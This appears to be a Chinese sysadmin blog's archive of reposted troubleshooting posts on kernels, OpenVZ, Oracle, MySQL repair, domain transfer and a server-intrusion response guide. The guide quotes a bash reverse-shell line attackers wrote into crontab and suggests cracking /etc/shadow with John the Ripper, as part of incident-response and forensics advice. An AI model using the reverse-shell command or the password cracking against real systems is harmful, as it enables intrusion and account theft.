存档

‘解决方案’ 分类的存档

nginx获取真实ip——toa模块(转)

2018年7月7日 没有评论

toa模块是为了让后端的realserver能够看到真实的clientip而不是lvs的dip。
1、下载http://kb.linuxvirtualserver.org … 86_64.rs.src.tar.gz
2、解压
3、编辑.config,将CONFIG_IPV6=M改成CONFIG_IPV6=y
测试的时候发现如果不改会遇到报错,可以看下这个帖子:http://bbs.linuxtone.org/forum.p … 1631&pid=111599
4、编辑Makefile,可以在EXTRAVERSION =处加上自定义的一些说明,将会在uname -r中显示。比如-shanks.e11.x86_64
5、make -jn
6、make modules_install
7、make install
8、修改/boot/grub/grub.conf     用第一个内核启动
9、reboot
10、装个nginx,试试看能不能看见真实的clientip。
参考:http://kb.linuxvirtualserver.org/wiki/IPVS_FULLNAT_and_SYNPROXY

vzquota : (error) Quota on syscall for id 189: Device or resource busy的解决方法(转)

2018年6月6日 没有评论

开启openvz虚拟机的时候总也失败,命令行启动提示错误如下:
vzctl start 189
Starting container …
vzquota : (error) Quota on syscall for id 156: Device or resource busy
vzquota : (error) Possible reasons:
vzquota : (error) – Container’s root is already mounted
vzquota : (error) – there are opened files inside Container’s private area
vzquota : (error) – your current working directory is inside Container’s
vzquota : (error) private area
vzquota : (error) Currently used file(s):
/vz/private/189/var/log
vzquota on failed [3]
————————————————–
最终解决方法如下:
[root@lxy conf]# lsof 2> /dev/null | egrep ‘/vz/root/189|/vz/private/189′
bash 786 root cwd DIR 8,3 4096 8192388 /vz/private/189/fs/root
[root@lxy ~]# ps auxfww |grep 786
root 786 0.0 0.0 2348 1344 pts/0 Ss+ 09:22 0:00 | \_ -bash
[root@lxy ~]# kill -s 9 786
[root@lxy ~]# vzctl start 189
Starting VE …
VE is mounted
Setup slm memory limit
Setup slm subgroup (default)
Setting devperms 20002 dev 0x7d00
Setup ioprio: 4
Adding port redirection to VE(1): 4643 8443
Adding IP address(es) to pool: 203.191.150.111
arpsend: 203.191.150.111 is detected on another computer : 00:13:d3:bf:1e:96
vz-net_add WARNING: arpsend -c 1 -w 1 -D -e 203.191.150.111 eth0 FAILED
Adding IP address(es): 203.191.150.111
arpsend: 203.191.150.111 is detected on another computer : 00:13:d3:bf:1e:96
vz-net_add WARNING: arpsend -c 1 -w 1 -D -e 203.191.150.111 eth0 FAILED
Hostname for VE set: localhost.localdomain
File resolv.conf was modified
VE start in progress…

Oracle安装错误ora-00922(缺少或无效选项)

2018年6月5日 没有评论

安装Oracle 11g R2的过程中,在新建数据库实例时出现了该错误,如果选择”忽略”就会出现ora-28000错误。
经网络查询验证,这是属于在前面配置管理员密码的时候,采用了数字开头的密码,Oracle貌似对此不支持,但当时不提示出错,晕倒!据说包含其他非法特殊字符也可能产生此问题。
记录一下,给自己备忘:
ORA-00922: 选项缺失或无效
错误原因:一般是语句的语法有问题。比如命名不对,关键字写错等等。对于非标准的命名,一般采用双引号来创建。
解决办法:
标识符命名规则:
1、必须以字母开始。
2、长度不能超过30个单字节字符。
3、只能包括A-Z,a-z,0-9,_,$和#。
4、不能在相同用户下建立两个同名的对象。
5、不能使用保留字和关键字

ORA-28000: 账户锁定

第一步:使用PL/SQL,登录名为system,数据库名称不变,选择类型的时候把Normal修改为Sysdba;
第二步:选择myjob,查看users;
第三步:选择system,右击点击“编辑”;
第四步:修改密码,把“帐户被锁住”的勾去掉;
第五步:点击“应用”再点击“关闭”;
第六步:重新登录就可以通过验证了;

Linux/BSD下修正磁盘的顺序编号(/dev/sdbX)(转)

2018年6月2日 没有评论

假设你现在新建一个分区在磁盘后面的区块,它的编号就应该是/dev/sdb1(假定是Primary分区,或者/dev/sda1什么的取决于第几个磁盘),好了,前面留下来的空白区域再建一个分区,结果区块前面的是/dev/sdb2,后面的反倒是/dev/sdb1了!!!强迫症患者不能忍!!!就像Windows下C、D、E、F盘错位变成了D、C、E、F一样不能忍啊!

解决办法很easy,借助fdisk这个强大的命令,各个BSD/Linux发行版都有的放心。以Fedora为例,终端下执行:

su -c ‘fdisk /dev/sdb’
x
f
w

x、f、w是进入fdisk后执行的指令,x是进入专家模式,f是修正磁盘序号,w写入分区信息并退出fdisk,别弄错了。最好不要在已经挂载的磁盘上执行,所以如果你要这样修改你的机器硬盘的话,建议从LiveCD启动来修正。

好了,强迫症患者心情舒畅了,/dev/sdb1和/dev/sdb2都领到了该有的位置。

P.S. 正因为这个序号容易变动,所以GRUB/GRUB2的配置文件中的分区强烈建议使用UUID而不是/dev/sdbX来表征!

Linux chmod命令 修改文件权限被禁止(not permitted)的解决办法

2018年5月9日 没有评论

在主机上搭建的lnmp环境,在修改相关文件有一个html文件的属性的时候
chmod 777 header.html
chmod: changing permissions of `header.html’: Operation not permitted
但是报了上面的一个错误

费了一番周折,终于查到用 chattr 可以解除这个限制

首先先查看一下属性
lsattr header.html
—-i——– header.html

然后去除i这个属性
chattr -i header.html

经过这一步操作后,就可以使用chmod来修改文件属性了

分类: 解决方案 标签: ,

新版Namecheap域名转移到国内注册商35.com的具体办法(图文)

2018年4月3日 没有评论

由于国内越来越多的地区现在备案都开始限制只能在国内注册商注册的域名才支持审核备案号了。以前注册优惠过的海外注册商如何移回国内注册商呢?这个文章就示例全过程,如何从新版本下namecheap.com如何移回国内注册商。
此例以移回国内中频35互联(35.com or www.china-channel.com)为示例。

好了,我们现在开始,需要知道的是,转移注册商需要做几个准备工作。
1.我们必须有要转移域名的控制权限,不只是解析权限,我们需要能有改变注册域名的所属邮箱。这个很重要很重要。不然直接会转移失败。
2.我们必须有一个在此示例中的国内注册商来接收你要转移回国内的域名的帐号。
3.帐号中必须有一定的钱。因为你转移回国内是需要续费一年域名注册费的。比如.com一般为100元左右。

有了以上几个准备工作。我们现在就一步步来开始操作吧。
1.登陆namecheap.com网站,依次选择Domain List,所要转换域名的MANAGE按键。点击Domain,关闭WhoisGuard这个保护。如果是老域名了,一般没有这个了。一般是要购买的。这个是whois保护,收费的。
2.选择Sharing & Transfer

如下图所示,按1的unlock解锁,然后2点右边的AUTH CODE。

在这里随便写点什么,我是这样写的。
Due to the need of business expansion, we need to move to new service providers for business development.
好了。这样送出以后。我们所在的域名的所有者邮箱。刚上面已经提到。就会收到一个邮件。是转移注册商的key。这个一会要用到。

这里写的Code,就是我们一会下面要使用到的。这个很重要。要在一定时间内使用完。不然会变。所以我们现在接下来移步。国内注册商。此例为中频35.com为示例。

3.我们现在登陆中频的代理网址https://cp.35.com/chinese/

选择 域名类》注册商转移》【.COM/.NET域名转入】,然后如下图所示这样。

需要注意的是以下这步。中间有一个小问题大家可能要提交前需要先去做的是。如下图。这个注册所有者使用者模版需要先通过注册商的实名认证才可以。如下图所示。这里我们公司已经审核通过完成的。这里就不仔细说明了。大家自己先去创建!各个国内注册商要求不一。无法一一说明,大同小异而已。

然后点下一步,这里会再要求你交钱了。所以刚上面最开始要帐号下有些钱就在这里了。不然没办法支付金额是不行的。一般是一年的费用。然后确定后,如下图所示。10分钟后收一下域名所有者的邮件。会有一个邮件注册商接收确认认证邮件。这步也很重要。

好了。接下来这个图就是邮件内容。会有一个地址给你确认。这边就要用到现有namecheap注册商的转移密码。

复制以上地址到浏览器。打开后会有以下图。输入验证码和namecheap给的转移密码。这样就完成大部分工作了。

点击确认后。就会提示你回去等通知了。如图:

好了。看到以上的图就说明我们已经把域名移回国内注册商了。国内注册商已经同意接受你的域名从namecheap移到中频了。然后我们进行以下最后一步。

最后一步也很容易。等邮件就可以了。域名的所有者的邮箱会收到namecheap的确定转移注册商的邮件。如下图所示。我们需要访问一下。并确定。

访问一下,如以下图所示。

点击Approve,确定转移,一般过了几天后。在国内注册商的域名列表中就可以找到所转移回来的域名了。

不是很复杂就是步骤有点多。仔细一些都没什么问题。好了,写到这。希望对大家有所帮助。

服务器被入侵了怎么办?(转)

2018年2月3日 没有评论

遇到服务器被黑,很多人会采用拔网线、封 iptables 或者关掉所有服务的方式应急,但如果是线上服务器就不能立即采用任何影响业务的手段了,需要根据服务器业务情况分类处理。

下面我们看一个标准的服务器安全应急影响应该怎么做,也算是笔者从事安全事件应急近 6 年以来的一些经验之谈,借此抛砖引玉,希望大神们不吝赐教。

根据安全事件通知源的不同,分为两种:

外界通知:和报告人核实信息,确认服务器/系统是否被入侵。现在很多企业有自己的 SRC(安全响应中心),在此之前更多的是依赖某云。这种情况入侵的核实一般是安全工程师完成。
自行发现:根据服务器的异常或故障判断,比如对外发送大规模流量或者系统负载异常高等,这种情况一般是运维工程师发现并核实的。

现场保护(运维)

我们很多人看过大陆的电视剧《重案六组》,每次接到刑事案件,刑警们第一时间就是封锁现场、保存现场原状。

同样道理,安全事件发生现场,跟刑事案件发生现场一样,需要保存第一现场重要信息,方便后面入侵检测和取证。

保存现场环境(截图)

相关信息采集命令如下:

进程信息:ps axu
网络信息:netstat –a
网络+进程:lsof / netstat -p

攻击者登陆情况(截图)

相关信息采集命令如下:

查看当前登录用户:w 或 who -a

服务器保护(运维/机房)

这里的现场保护和服务器保护是两个不同的环节,前者注重取证,后者注重环境隔离。

核实机器被入侵后,应当尽快将机器保护起来,避免被二次入侵或者当成跳板扩大攻击面。

此时,为保护服务器和业务,避免服务器被攻击者继续利用,应尽快迁移业务,立即下线机器。

如果不能立即处理,应当通过配置网络 ACL 等方式,封掉该服务器对网络的双向连接。

影响范围评估(运维/开发)

一般是运维或者程序确认影响范围,需要运维通过日志或者监控图表确认数据库或者敏感文件是否泄露,如果是代码或者数据库泄露了,则需要程序评估危害情况与处置方法。

影响访问评估一般从下面几点来入手:

具体业务架构:Web(PHP/Java, WebServer), Proxy, DB等。
IP 及所处区域拓扑等:VLAN 内服务器和应用情况。
确定同一网络下面服务器之间的访问:可以互相登陆,是否需要 Key 或者是密码登录。

由此确定检查影响范围,确认所有受到影响的网段和机器。

在线分析(安全人员/运维)

这时需要根据个人经验快速在线分析,一般是安全人员和运维同时在线处理,不过会涉及多人协作的问题,需要避免多人操作机器时破坏服务器现场,造成分析困扰。

之前笔者遇到一个类似的问题,就是运维排查时敲错了 iptables 的命令,将 iptables -L 敲成 iptables -i 导致 iptables-save 时出现异常记录,结果安全人员上来检查时就被这条记录迷惑了,导致处理思路受到一定干扰。

所有用户 History 日志检测

关键字:wget/curl, gcc, 或者隐藏文件, 敏感文件后缀(.c,.py,conf, .pl, .sh)。
检查是否存在异常用户。
检查最近添加的用户,是否有不知名用户或不规范提权。
找出 root 权限的用户。

可以执行以下命令检查:
grep -v -E “^#” /etc/passwd | awk -F: ‘$3 == 0 { print $1}’

反连木马判断

netstat –a
注意非正常端口的外网 IP

可疑进程判断

判断是否为木马 ps –aux
重点关注文件(隐藏文件), Python脚本,Perl脚本,Shell 脚本(bash/sh/zsh)。
使用 which,whereis,find 定位。

Crontab 检测

不要用 crontab –l 查看 crontab(绕过检测),也有通过写 crontab 配置文件反弹Shell 的,笔者接触过几次,一般都是使用的 bash -i >& /dev/tcp/10.0.0.1/8080 0>&1。

系统日志检测

检查 sshd 服务配置文件 /etc/ssh/sshd_config 和系统认证日志 auth、message,判断是否为口令破解攻击。
/etc/ssh/sshd_config 文件确认认证方式。
确认日志是否被删除或者清理过的可能(大小判断)。
last/lastb 可以作为辅助,不过可能不准确。

NHIDS 正常运行判断

是否安装:ls /etc/ossec
是否运行正常:ps axu |grep nhids,三个 nhids 进程则表示正常

其他攻击分析

抓取网络数据包并进行分析,判断是否为拒绝服务攻击,这里需要注意,一定要使用 -w 参数,这样才能保存成 pcap 格式导入到 wireshark,这样分析起来会事半功倍。
tcpdump -w tcpdump.log

安全相关的关键文件和数据备份(运维)

可以同步进行,使用 sftp/rsync 等将日志上传到安全的服务器:

打包系统日志:参考:$ tar -jcvf syslog.tar.bz2 /var/log
打包 Web 日志:access log
打包 History 日志(所有用户),参考:$ cp /home/user/,history user_history
打包 crontab 记录
打包密码文件:/etc/passwd, /etc/shadow
打包可疑文件、后门、Shell 信息

深入分析(安全人员)

初步锁定异常进程和恶意代码后,将受影响范围梳理清楚,封禁了入侵者对机器的控制后,接下来需要深入排查入侵原因。一般可以从 Webshell、开放端口服务等方向顺藤摸瓜。

Webshell 入侵

使用 Webshell_check.py 脚本检测 Web 目录:
$ python webshell_check.py /var/www/ >result.txt
查找 Web 目录下所有 nobody 的文件,人工分析:
$ find /var/www –user nobody >nobody.txt
如果能确定入侵时间,可以使用 find 查找最近时间段内变化的文件:
$ find / -type f -name “\.?*” |xargs ls -l |grep “Mar 22″
$ find / -ctime/-mtime 8

利用 Web 漏洞直接反连 Shell

分析 access.log:

缩小日志范围:时间,异常 IP 提取。
攻击行为提取:常见的攻击 exp 识别。

系统弱口令入侵

认证相关日志 auth/syslog/message 排查:

爆破行为定位和 IP 提取。
爆破是否成功确定:有爆破行为 IP 是否有 accept 记录。

如果日志已经被清理,使用工具(比如John the Ripper)爆破 /etc/passwd,/etc/shadow。

其他入侵

其他服务器跳板到本机。

后续行为分析

History 日志:提权、增加后门,以及是否被清理。
Sniffer:网卡混杂模式检测 ifconfig |grep –i proc。
内网扫描:网络 nmap/ 扫描器,socks5 代理。
确定是否有 rootkit:rkhunter, chkrootkit, ps/netstat 替换确认。

后门清理排查

根据时间点做关联分析:查找那个时间段的所有文件。
一些小技巧:/tmp 目录, ls –la,查看所有文件,注意隐藏的文件。
根据用户做时间关联:比如 nobody。

其他机器的关联操作

其他机器和这台机器的网络连接 (日志查看)、相同业务情况(同样业务,负载均衡)。

整理事件报告(安全人员)

事件报告应包含但不限于以下几个点:

分析事件发生原因:事件为什么会发生的原因。
分析整个攻击流程:时间点、操作。
分析事件处理过程:整个事件处理过程总结是否有不足。
分析事件预防:如何避免事情再次发生。
总结:总结事件原因,改进处理过程,预防类似事件再次发生。

处理中遇到的比较棘手的事情

日志和操作记录全被删了,怎么办?

strace 查看 losf 进程,再尝试恢复一下日志记录,不行的话镜像硬盘数据慢慢查。这个要用到一些取证工具了,dd 硬盘数据再去还原出来。

系统账号密码都修改了,登不进去?

重启进单用户模式修改 root 密码,或者通过控制卡操作,或者直接还原系统,都搞不定就直接重装吧。

使用常见的入侵检测命令未发现异常进程,但是机器在对外发包,这是怎么回事?

这种情况下很可能常用的系统命令已经被攻击者或者木马程序替换,可以通过 md5sum 对比本机二进制文件与正常机器的 md5 值是否一致。

如果发现不一致,肯定是被替换了,可以从其他机器上拷贝命令到本机替换,或者 alias 为其他名称,避免为恶意程序再次替换。

被 getshell 怎么办?

漏洞修复前,系统立即下线,用内网环境访问。
上传点放到内网访问,不允许外网有类似的上传点,有上传点,而且没有校验文件类型很容易上传 Webshell。
被 getshell 的服务器中是否有敏感文件和数据库,如果有请检查是否有泄漏。
hosts 文件中对应的 host 关系需要重新配置,攻击者可以配置 hosts 来访问测试环境。
重装系统。

案例分析

上面讲了很多思路的东西,相信大家更想看看实际案例,下面介绍两个案例。

案例 1

一个别人处理的案例,基本处理过程如下:

通过外部端口扫描收集开放端口信息,然后获取到反弹 Shell 信息,登陆机器发现关键命令已经被替换,后面查看 History 记录,发现疑似木马文件,通过简单逆向和进程查看发现了异常进程,从而锁定了入侵原因。

具体内容可以查看:http://www.freebuf.com/articles/system/50728.html

案例 2

一个笔者实际处理过的案例,基本处理流程跟上面提到的思路大同小异。

整个事情处理经过大致如下:

1、运维发现一台私有云主机间歇性的对外发送高达 800Mbps 的流量,影响了同一个网段的其他机器。

2、安全人员接到通知后,先确认了机器属于备机,没有跑在线业务,于是通知运维封禁 iptables 限制外网访问。

3、运维为安全人员临时开通机器权限,安全人员通过 History 和 ps 找到的入侵记录和异常进程锁定了对外大量发包的应用程序,清理了恶意进程并删除恶意程序。

恶意进程如下,经过在网络搜索发现是一种 DDOS 木马,但没有明确的处理思路:
/usr/bin/bsd-port/getty/usr/bin/acpid./dbuspm-session /sbin/DDosClient RunByP4407/sbin/DDosClient RunByPM4673

处理过程中,安全人员怀疑系统文件被替换,通过对比该机器与正常机器上面的 ps、netstat 等程序的大小发现敏感程序已经被替换,而且 mtime 也被修改。

正常机器:
du -sh /bin/ps
92K /bin/ps
du -sh /bin/netstat
120K /bin/netstat

被入侵机器:
du -sh /bin/netstat
2.0M /bin/netstat
du -sh /bin/ps
2.0M /bin/ps

将部分常用二进制文件修复后,发现异常进程被 kill 掉后仍重启了,于是安装杀毒软件 clamav 和 rootkit hunter 进行全盘扫描。

从而确认了被感染的所有文件,将那些可以删除的文件删除后再次 kill 掉异常进程,则再没有重启的问题。

4、影响范围评估

由于该机器只是备机,上面没有敏感数据,于是信息泄露问题也就不存在了。

扫描同一网段机器端口开放情况、排查被入侵机器 History 是否有对外扫描或者入侵行为,为此还在该网段机器另外部署蜜罐进行监控。

5、深入分析入侵原因

通过被入侵机器所跑服务、iptables 状态,确认是所跑服务支持远程命令执行。

并且机器 iptables 为空导致黑客通过往 /etc/crontab 中写“bash -i >& /dev/tcp/10.0.0.1/8080 0>&1”命令方式进行 Shell 反弹,从而入侵了机器。

6、验证修复、机器下线重装

进行以上修复操作后,监控未发现再有异常,于是将机器下线重装。

7、完成安全事件处理报告

每次安全事件处理后,都应当整理成报告,不管是知识库的构建,还是统计分析安全态势,都是很有必要的。

这次主要介绍了服务器被入侵时推荐的一套处理思路。实际上,安全防护跟运维思路一样,都是要防患于未然,这时候的审计或者响应很难避免危害的发生了。

我们更希望通过安全意识教育、安全制度的建设,在问题显露端倪时即可消弭于无形。

Linux服务器安全防护要点

1、强化:密码管理

设定登录密码是一项非常重要的安全措施,如果用户的密码设定不合适,就很容易被破译,尤其是拥有超级用户使用权限的用户,如果没有良好的密码,将给系统造成很大的安全漏洞。

目前密码破解程序大多采用字典攻击以及暴力攻击手段,而其中用户密码设定不当,则极易受到字典攻击的威胁。很多用户喜欢用自己的英文名、生日或者账户等信息来设定密码,这样,黑客可能通过字典攻击或者是社会工程的手段来破解密码。所以建议用户在设定密码的过程中,应尽量使用非字典中出现的组合字符,并且采用数字与字符相结合、大小写相结合的密码设置方式,增加密码被黑客破解的难度。而且,也可以使用定期修改密码、使密码定期作废的方式,来保护自己的登录密码。

在多用户系统中,如果强迫每个用户选择不易猜出的密码,将大大提高系统的安全性。但如果passwd程序无法强迫每个上机用户使用恰当的密码,要确保密码的安全度,就只能依靠密码破解程序了。实际上,密码破解程序是黑客工具箱中的一种工具,它将常用的密码或者是英文字典中所有可能用来作密码的字都用程序加密成密码字,然后将其与Linux系统的/etc/passwd密码文件或/etc/shadow影子文件相比较,如果发现有吻合的密码,就可以求得明码了。在网络上可以找到很多密码破解程序,比较有名的程序是crack和john the ripper.用户可以自己先执行密码破解程序,找出容易被黑客破解的密码,先行改正总比被黑客破解要有利。

2、限定:网络服务管理

早期的Linux版本中,每一个不同的网络服务都有一个服务程序(守护进程,Daemon)在后台运行,后来的版本用统一的/etc/inetd服务器程序担此重任。Inetd是Internetdaemon的缩写,它同时监视多个网络端口,一旦接收到外界传来的连接信息,就执行相应的TCP或UDP网络服务。由于受inetd的统一指挥,因此Linux中的大部分TCP或UDP服务都是在/etc/inetd.conf文件中设定。所以取消不必要服务的第一步就是检查/etc/inetd.conf文件,在不要的服务前加上“#”号。

一般来说,除了http、smtp、telnet和ftp之外,其他服务都应该取消,诸如简单文件传输协议tftp、网络邮件存储及接收所用的imap/ipop传输协议、寻找和搜索资料用的gopher以及用于时间同步的daytime和time等。还有一些报告系统状态的服务,如finger、efinger、systat和netstat等,虽然对系统查错和寻找用户非常有用,但也给黑客提供了方便之门。例如,黑客可以利用finger服务查找用户的电话、使用目录以及其他重要信息。因此,很多Linux系统将这些服务全部取消或部分取消,以增强系统的安全性。Inetd除了利用/etc/inetd.conf设置系统服务项之外,还利用/etc/services文件查找各项服务所使用的端口。因此,用户必须仔细检查该文件中各端口的设定,以免有安全上的漏洞。

在后继的Linux版本中(比如Red Hat Linux7.2之后),取而代之的是采用xinetd进行网络服务的管理。

当然,具体取消哪些服务不能一概而论,需要根据实际的应用情况来定,但是系统管理员需要做到心中有数,因为一旦系统出现安全问题,才能做到有步骤、有条不紊地进行查漏和补救工作,这点比较重要。

3、严格审计:系统登录用户管理

在进入Linux系统之前,所有用户都需要登录,也就是说,用户需要输入用户账号和密码,只有它们通过系统验证之后,用户才能进入系统。

与其他Unix操作系统一样,Linux一般将密码加密之后,存放在/etc/passwd文件中。Linux系统上的所有用户都可以读到/etc/passwd文件,虽然文件中保存的密码已经经过加密,但仍然不太安全。因为一般的用户可以利用现成的密码破译工具,以穷举法猜测出密码。比较安全的方法是设定影子文件/etc/shadow,只允许有特殊权限的用户阅读该文件。

在Linux系统中,如果要采用影子文件,必须将所有的公用程序重新编译,才能支持影子文件。这种方法比较麻烦,比较简便的方法是采用插入式验证模块(PAM)。很多Linux系统都带有Linux的工具程序PAM,它是一种身份验证机制,可以用来动态地改变身份验证的方法和要求,而不要求重新编译其他公用程序。这是因为PAM采用封闭包的方式,将所有与身份验证有关的逻辑全部隐藏在模块内,因此它是采用影子档案的最佳帮手。

此外,PAM还有很多安全功能:它可以将传统的DES加密方法改写为其他功能更强的加密方法,以确保用户密码不会轻易地遭人破译;它可以设定每个用户使用电脑资源的上限;它甚至可以设定用户的上机时间和地点。

Linux系统管理人员只需花费几小时去安装和设定PAM,就能大大提高Linux系统的安全性,把很多攻击阻挡在系统之外。

4、设定:用户账号安全等级管理

除密码之外,用户账号也有安全等级,这是因为在Linux上每个账号可以被赋予不同的权限,因此在建立一个新用户ID时,系统管理员应该根据需要赋予该账号不同的权限,并且归并到不同的用户组中。

在Linux系统中的部分文件中,可以设定允许上机和不允许上机人员的名单。其中,允许上机人员名单在/etc/hosts.allow中设置,不允许上机人员名单在/etc/hosts.deny中设置。此外,Linux将自动把允许进入或不允许进入的结果记录到/var/log/secure文件中,系统管理员可以据此查出可疑的进入记录。

每个账号ID应该有专人负责。在企业中,如果负责某个ID的职员离职,管理员应立即从系统中删除该账号。很多入侵事件都是借用了那些很久不用的账号。

在用户账号之中,黑客最喜欢具有root权限的账号,这种超级用户有权修改或删除各种系统设置,可以在系统中畅行无阻。因此,在给任何账号赋予root权限之前,都必须仔细考虑。

Linux系统中的/etc/securetty文件包含了一组能够以root账号登录的终端机名称。例如,在RedHatLinux系统中,该文件的初始值仅允许本地虚拟控制台(rtys)以root权限登录,而不允许远程用户以root权限登录。最好不要修改该文件,如果一定要从远程登录为root权限,最好是先以普通账号登录,然后利用su命令升级为超级用户。

5、谨慎使用:“r系列”远程程序管理

在Linux系统中有一系列r字头的公用程序,比如rlogin,rcp等等。它们非常容易被黑客用来入侵我们的系统,因而非常危险,因此绝对不要将root账号开放给这些公用程序。由于这些公用程序都是用。rhosts文件或者hosts.equiv文件核准进入的,因此一定要确保root账号不包括在这些文件之内。

由于r等远程指令是黑客们用来攻击系统的较好途径,因此很多安全工具都是针对这一安全漏洞而设计的。例如,PAM工具就可以用来将r字头公用程序有效地禁止掉,它在/etc/pam.d/rlogin文件中加上登录必须先核准的指令,使整个系统的用户都不能使用自己home目录下的。rhosts文件。

6、限制:root用户权限管理

Root一直是Linux保护的重点,由于它权力无限,因此最好不要轻易将超级用户授权出去。但是,有些程序的安装和维护工作必须要求有超级用户的权限,在这种情况下,可以利用其他工具让这类用户有部分超级用户的权限。sudo就是这样的工具。

sudo程序允许一般用户经过组态设定后,以用户自己的密码再登录一次,取得超级用户的权限,但只能执行有限的几个指令。例如,应用sudo后,可以让管理磁带备份的管理人员每天按时登录到系统中,取得超级用户权限去执行文档备份工作,但却没有特权去作其他只有超级用户才能作的工作。

sudo不但限制了用户的权限,而且还将每次使用sudo所执行的指令记录下来,不管该指令的执行是成功还是失败。在大型企业中,有时候有许多人同时管理Linux系统的各个不同部分,每个管理人员都有用sudo授权给某些用户超级用户权限的能力,从sudo的日志中,可以追踪到谁做了什么以及改动了系统的哪些部分。

值得注意的是,sudo并不能限制所有的用户行为,尤其是当某些简单的指令没有设置限定时,就有可能被黑客滥用。例如,一般用来显示文件内容的/etc/cat指令,如果有了超级用户的权限,黑客就可以用它修改或删除一些重要的文件。

7、追踪黑客踪迹:日志管理

当用户仔细设定了各种与Linux相关的配置(最常用日志管理选项),并且安装了必要的安全防护工具之后,Linux操作系统的安全性的确大为提高,但是却并不能保证防止那些比较熟练的网络黑客的入侵。

在平时,网络管理人员要经常提高警惕,随时注意各种可疑状况,并且按时检查各种系统日志文件,包括一般信息日志、网络连接日志、文件传输日志以及用户登录日志等。在检查这些日志时,要注意是否有不合常理的时间记载。例如:

正常用户在半夜三更登录;

不正常的日志记录,比如日志只记录了一半就切断了,或者整个日志文件被删除了;

用户从陌生的网址进入系统;

因密码错误或用户账号错误被摈弃在外的日志记录,尤其是那些一再连续尝试进入失败,但却有一定模式的试错法;

非法使用或不正当使用超级用户权限su的指令;

重新开机或重新启动各项服务的记录。

上述这些问题都需要系统管理员随时留意系统登录的用户状况以及查看相应日志文件,许多背离正常行为的蛛丝马迹都应当引起高度注意。

8、横向扩展:综合防御管理

防火墙、IDS等防护技术已经成功地应用到网络安全的各个领域,而且都有非常成熟的产品。

在Linux系统来说,有一个自带的Netfilter/Iptables防火墙框架,通过合理地配置其也能起到主机防火墙的功效。在Linux系统中也有相应的轻量级的网络入侵检测系统Snort以及主机入侵检测系统LIDS(Linux Intrusion Detection System),使用它们可以快速、高效地进行防护。

需要提醒注意的是:在大多数的应用情境下,我们需要综合使用这两项技术,因为防火墙相当于安全防护的第一层,它仅仅通过简单地比较IP地址/端口对来过滤网络流量,而IDS更加具体,它需要通过具体的数据包(部分或者全部)来过滤网络流量,是安全防护的第二层。综合使用它们,能够做到互补,并且发挥各自的优势,最终实现综合防御。

9、评测:漏洞追踪及管理

Linux作为一种优秀的开源软件,其自身的发展也日新月异,同时,其存在的问题也会在日后的应用中慢慢暴露出来。黑客对新技术的关注从一定程度上来说要高于我们防护人员,所以要想在网络攻防的战争中处于有利地位,保护Linux系统的安全,就要求我们要保持高度的警惕性和对新技术的高度关注。用户特别是使用Linux作为关键业务系统的系统管理员们,需要通过Linux的一些权威网站和论坛上尽快地获取有关该系统的一些新技术以及一些新的系统漏洞的信息,进行漏洞扫描、渗透测试等系统化的相关配套工作,做到防范于未然,提早行动,在漏洞出现后甚至是出现前的最短时间内封堵系统的漏洞,并且在实践中不断地提高安全防护的技能,这样才是一个比较的解决办法和出路。

10、保持更新:补丁管理

Linux作为一种优秀的开源软件,其稳定性、安全性和可用性有极为可靠的保证,世界上的Linux高手共同维护着个优秀的产品,因而起流通渠道很多,而且经常有更新的程序和系统补丁出现,因此,为了加强系统安全,一定要经常更新系统内核。

Kernel是Linux操作系统的核心,它常驻内存,用于加载操作系统的其他部分,并实现操作系统的基本功能。由于Kernel控制计算机和网络的各种功能,因此,它的安全性对整个系统安全至关重要。早期的Kernel版本存在许多众所周知的安全漏洞,而且也不太稳定,只有2.0.x以上的版本才比较稳定和安全(一般说来,内核版本号为偶数的相对稳定,而为奇数的则一般为测试版本,用户们使用时要多留意),新版本的运行效率也有很大改观。在设定Kernel的功能时,只选择必要的功能,千万不要所有功能照单全收,否则会使Kernel变得很大,既占用系统资源,也给黑客留下可乘之机。

在Internet上常常有最新的安全修补程序,Linux系统管理员应该消息灵通,经常光顾安全新闻组,查阅新的修补程序。

CentOS上,三步创建与root一样权限的用户

2018年1月3日 没有评论

三步创建一个用户,使他有与root一样的权限。
1. 上root下,创建一个用户“app”
[root@daddylinux~]#useradd app
[root@daddylinux~]#passwd app
2. 限定app使用root特权,如下所示,编辑visudo文件。
[root@daddylinux~]# visudo
3. 在最后一行,添加下列信息。
app ALL=(ALL) ALL
退出并保存。

分类: Linux, 解决方案 标签: , ,

Mysql INNODB存储引擎表损坏修复方法(转)

2017年12月10日 没有评论

设你正在运行使用InnoDB表格的MySQL,糟糕的硬件设备,驱动程序错误,内核错误,不幸的电源故障或某些罕见的MySQL错误使你的InnoDB表空间被损坏了。
在这种情况下,InnoDB的一般会出现这样的输出:

InnoDB: Database page corruption on disk ora failed
InnoDB: file read of page 7.
InnoDB: You may have to recover from a backup.
080703 23:46:16 InnoDB: Page dump in ascii and hex (16384bytes):
… 这里省略很多二进制和十六进制编码…
080703 23:46:16 InnoDB: Page checksum 587461377,prior-to-4.0.14-form checksum 772331632
InnoDB: stored checksum 2287785129, prior-to-4.0.14-form storedchecksum 772331632
InnoDB: Page lsn 24 1487506025, low 4 bytes of lsn at page end1487506025
InnoDB: Page number (if stored to page already) 7,
InnoDB: Database page corruption on disk or a failed

mysqldump导出库时报错如下:
“mysqldump: Error 2013: Lost connection to MySQL server during query when dumping table `; at row:6880″
或是操作对应表时,也会报错。这时数据库会重启。
当时想到的是在修复之前保证数据库正常,不是这么异常的无休止的重启。

使用innodb_force_recovery =1,正如你所看到的,即使日志文件中有校验失败的记录,但CHECK TABLE还是说表格是正确的。
这意味着你不能太依赖CHECKTABLE在InnoDB上执行的结果。
所以就修改了配置文件的一个参数:innodb_force_recovery
innodb_force_recovery影响整个InnoDB存储引擎的恢复状况。默认为0,表示当需要恢复时执行所有的,
innodb_force_recovery可以设置为1-6,大的数字包含前面所有数字的影响。
当设置参数值大于0后,可以对表进行select,create,drop操作,但insert,update或者delete这类操作是不允许的。
1(SRV_FORCE_IGNORE_CORRUPT):忽略检查到的corrupt页。
2(SRV_FORCE_NO_BACKGROUND):阻止主线程的运行,如主线程需要执行full purge操作,会导致crash。
3(SRV_FORCE_NO_TRX_UNDO):不执行事务回滚操作。
4(SRV_FORCE_NO_IBUF_MERGE):不执行插入缓冲的合并操作。
5(SRV_FORCE_NO_UNDO_LOG_SCAN):不查看重做日志,InnoDB存储引擎会将未提交的事务视为已提交。
6(SRV_FORCE_NO_LOG_REDO):不执行前滚的操作。
因为错误日志里面提示出现了坏页,导致数据库崩溃,所以这里把innodb_force_recovery 设置为1,忽略检查到的坏页。
重启数据库之后,找到错误信息出现的表

